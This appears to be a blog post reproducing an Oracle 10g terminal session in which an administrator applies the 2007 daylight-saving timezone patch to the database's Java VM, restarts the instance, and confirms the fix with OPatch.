SYS


Java created.

No errors.

Java altered.

No errors.

Package created.

No errors.

Package body created.

No errors.

PL/SQL procedure successfully completed.


Call completed.

Testing various timezone DST attributes
FAILED for Australia/Perth 2:0:10 12/3/2006
FAILED for Australia/Perth 1:0:10 3/25/2007
FAILED for America/Vancouver 10:0:0 3/11/2007
FAILED for America/Edmonton 10:0:0 3/11/2007
FAILED for America/St_Johns 10:0:0 3/11/2007
FAILED for America/New_York 10:0:0 3/11/2007
FAILED for America/Los_Angeles 10:0:0 3/11/2007
##
Bug is in fact present, so this patch is needed
##
(Perhaps) modifying ild_ub1$ for rehotloading of sun/util/calendar/ZoneInfoFile
obj# = 20630
nbytes %d = 64512, 1st read = 64512, 2nd read = -1
87 344070 333936 10134 joxbtflag>>8 = 3
===
(Perhaps) modifying ild_ub1$ for rehotloading of /c8a1ddf0_PolicyTable
obj# = 13814
nbytes %d = 20069, 1st read = 20069, 2nd read = -1
177 18340 4408 13932 joxbtflag>>8 = 3
===

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS

########################################################
Bug is in fact present, so this patch is needed
Proceed by restarting the database and running script
fixTZb
########################################################

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS

idle> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
idle> startup migrate
ORACLE instance started.

Total System Global Area 603979776 bytes
Fixed Size 1262224 bytes
Variable Size 213912944 bytes
Database Buffers 381681664 bytes
Redo Buffers 7122944 bytes
Database mounted.
Database opened.
idle> @?/javavm/admin/fixTZb

PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


PL/SQL procedure successfully completed.


USER_
--------------------------------
SYS


Call completed.

Testing various timezone DST attributes
########################################################
Bug is no longer present. Patch succeeded.
########################################################

PL/SQL procedure successfully completed.

drop java source fixTZ
drop package fixTZ

PL/SQL procedure successfully completed.

idle> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
idle> startup
ORACLE instance started.

Total System Global Area 603979776 bytes
Fixed Size 1262224 bytes
Variable Size 213912944 bytes
Database Buffers 381681664 bytes
Redo Buffers 7122944 bytes
Database mounted.
Database opened.
idle> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options
[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch lsinventory
Invoking OPatch 10.2.0.2.0

Oracle interim Patch Installer version 10.2.0.2.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..


Oracle Home : /oracle/10g
Central Inventory : /oracle/oraInventory
from : /oracle/10g/oraInst.loc
OPatch version : 10.2.0.2.0
OUI version : 10.2.0.2.0
OUI location : /oracle/10g/oui
Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Mar_04_22-13-46-BRT_Sun.log

Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Mar_04_22-13-46-BRT_Sun.txt

--------------------------------------------------------------------------------
Installed Top-level Products (2):

Oracle Database 10g 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 1 10.2.0.2.0
There are 2 products installed in this Oracle Home.


Interim patches (2) :

Patch 5865568 : applied on Sun Mar 04 22:08:38 BRT 2007
Created on 15 Feb 2007, 19:51:37 hrs PST8PDT
Bugs fixed:
5865568

Patch 5632264 : applied on Wed Feb 28 22:21:44 BRT 2007
Created on 14 Feb 2007, 21:37:17 hrs US/Pacific
Bugs fixed:
5632264


--------------------------------------------------------------------------------

OPatch succeeded.
[oracle@anakin 5865568]$
[oracle@anakin 5865568]$ exit
exit

Script done on Sun 04 Mar 2007 10:14:03 PM BRT
[oracle@anakin ~]$

Labels:


This page is powered by Blogger. Isn't yours?